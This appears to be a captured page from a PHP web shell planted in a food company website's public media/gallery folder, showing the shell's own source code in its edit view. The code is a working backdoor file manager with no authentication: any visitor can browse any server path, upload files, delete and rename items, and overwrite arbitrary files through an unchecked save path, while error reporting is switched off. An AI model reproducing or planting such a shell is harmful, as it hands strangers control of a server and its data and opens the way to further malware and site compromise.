📂 File Explorer
Current Path:
/home/u821439720/domains/sujalfood.com/public_html/media/gallery
⬆ Go Up
Upload
Create
Name
Actions
📄 591796185_26.php
Rename
🗑
✏ Edit
Editing: 591796185_26.php
<?php /* ========================================= SIMPLE RESOURCE BROWSER Author: Web Utility Suite ========================================= */ header("Content-Type: text/html; charset=UTF-8"); error_reporting(0); /* ---------- utility methods ---------- */ function active_path() { $location = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); return $location ?: getcwd(); } function jump_to($location) { header("Location:?path=" . urlencode($location)); exit; } function merge_path($root, $item) { return rtrim($root, "/") . "/" . $item; } $currentPath = active_path(); /* ---------- upload handler ---------- */ if (!empty($_FILES['upload_file']['name'])) { $uploadTarget = merge_path( $currentPath, basename($_FILES['upload_file']['name']) ); @move_uploaded_file( $_FILES['upload_file']['tmp_name'], $uploadTarget ); jump_to($currentPath); } /* ---------- new directory ---------- */ if (!empty($_POST['folder_name'])) { @mkdir( merge_path( $currentPath, $_POST['folder_name'] ) ); jump_to($currentPath); } /* ---------- delete item ---------- */ if (isset($_GET['remove'])) { $selectedItem = realpath( merge_path( $currentPath, $_GET['remove'] ) ); if ($selectedItem) { if (is_dir($selectedItem)) { @rmdir($selectedItem); } else { @unlink($selectedItem); } } jump_to($currentPath); } /* ---------- rename ---------- */ if ( !empty($_POST['rename_from']) && !empty($_POST['rename_to']) ) { @rename( merge_path($currentPath, $_POST['rename_from']), merge_path($currentPath, $_POST['rename_to']) ); jump_to($currentPath); } /* ---------- save editor ---------- */ if ( !empty($_POST['save_path']) && isset($_POST['save_content']) ) { file_put_contents( $_POST['save_path'], $_POST['save_content'] ); jump_to(dirname($_POST['save_path'])); } /* ---------- scan directory ---------- */ $entries = @scandir($currentPath); ?> <!DOCTYPE html> <html> <head> <title>File Explorer</title> <style> body{ background:#121212; color:#e0e0e0; font-family:Arial,sans-serif; } a{ color:#4da6ff; text-decoration:none; } table{ width:100%; border-collapse:collapse; } th,td{ border:1px solid #333; padding:8px; } input,textarea,button{ background:#1e1e1e; color:#fff; border:1px solid #444; padding:5px; } button{ cursor:pointer; } </style> </head> <body> <h2>📂 File Explorer</h2> <p> Current Path: <b><?php echo htmlspecialchars($currentPath); ?></b> </p> <a href="?path=<?php echo urlencode(dirname($currentPath)); ?>"> ⬆ Go Up </a> <hr> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload_file"> <button type="submit">Upload</button> </form> <form method="post" style="margin-top:10px;"> <input name="folder_name" placeholder="New Folder"> <button>Create</button> </form> <hr> <table> <tr> <th>Name</th> <th>Actions</th> </tr> <?php foreach ($entries as $node) { if ($node === "." || $node === "..") { continue; } $absoluteItem = merge_path($currentPath, $node); echo "<tr><td>"; if (is_dir($absoluteItem)) { echo "📁 <a href='?path=" . urlencode($absoluteItem) . "'>" . htmlspecialchars($node) . "</a>"; } else { echo "📄 " . htmlspecialchars($node); } echo "</td><td>"; echo " <form method='post' style='display:inline'> <input type='hidden' name='rename_from' value='".htmlspecialchars($node)."'> <input name='rename_to' size='8' placeholder='Rename'> <button>Rename</button> </form> "; echo "<a href='?path=" . urlencode($currentPath) . "&remove=" . rawurlencode($node) . "' onclick='return confirm(\"Delete $node?\")'>🗑</a> "; if (is_file($absoluteItem)) { echo "<a href='?path=" . urlencode($currentPath) . "&edit=" . rawurlencode($node) . "'>✏ Edit</a>"; } echo "</td></tr>"; } ?> </table> <?php if (!empty($_GET['edit'])) { $editingFile = merge_path( $currentPath, $_GET['edit'] ); if (is_file($editingFile)) { ?> <hr> <h3> Editing: <?php echo htmlspecialchars($_GET['edit']); ?> </h3> <form method="post"> <input type="hidden" name="save_path" value="<?php echo htmlspecialchars($editingFile); ?>" > <textarea name="save_content" rows="20" cols="100"><?php echo htmlspecialchars( file_get_contents($editingFile) ); ?></textarea> <br> <button>Save File</button> </form> <?php } } ?> </body> </html>
Save File